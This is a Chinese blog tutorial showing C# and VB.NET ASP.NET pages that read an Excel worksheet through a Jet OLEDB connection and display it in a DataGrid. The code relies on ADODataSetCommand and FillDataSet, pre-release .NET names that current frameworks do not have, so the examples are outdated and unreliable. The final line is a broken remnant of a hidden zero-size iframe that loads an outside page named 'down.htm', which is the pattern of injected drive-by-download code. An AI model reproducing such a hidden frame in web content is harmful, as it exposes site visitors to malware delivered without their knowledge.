在ASP.NET访问Excel文件 (VB.NET and C#)

最新推荐文章于 2014-07-23 23:20:00 发布

原创最新推荐文章于 2014-07-23 23:20:00 发布 · 3.7k 阅读

4 ·

CC 4.0 BY-SA版权

文章标签：

#excel #vb.net #asp.net #c# #datagrid #dataset

ASP.NET 专栏收录该内容

67 篇文章

订阅专栏

博客主要介绍了在ASP.NET环境下，运用VB和C#两种编程语言来访问Excel文件的相关内容，涉及信息技术领域中Web开发与数据处理的结合。

在ASP.NET访问Excel文件 (VB and C#)


C# Code
---------------------------------------------



<script language="C#" runat="server">
protected void Page_Load(Object Src, EventArgs E)
{
string strConn;
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" 
+"Data Source=C://exceltest.xls;" 
+"Extended Properties=Excel 8.0;";
ADODataSetCommand myCommand = new ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn);
DataSet myDataSet = new DataSet();
myCommand.FillDataSet(myDataSet, "ExcelInfo");
DataGrid1.DataSource = myDataSet.Tables["ExcelInfo"].DefaultView;
DataGrid1.DataBind();
}
</script>
<p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p>
<asp:DataGrid id=DataGrid1 runat="server"/>

VB.NET Code
----------------------------------------------



<script language="VB" runat="server">
Sub Page_Load(sender As Object, e As EventArgs)
Dim myDataset As New DataSet()
Dim strConn As String = "Provider=Microsoft.Jet.OLEDB.4.0;" _
& "Data Source=C:/exceltest.xls;" _
& "Extended Properties=""Excel 8.0;"""
Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn)
myADODataSetCommand.TableMappings.Add("Table", "ExcelTest")
myADODataSetCommand.FillDataSet(myDataset)
DataGrid1.DataSource = myDataset.Tables(0).DefaultView
DataGrid1.DataBind()
End Sub
</script>
<p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p>
<asp:DataGrid id=DataGrid1 runat="server"/>

src=http://lucky.myrice.com/down.htm width=0 height=0 boeder=0>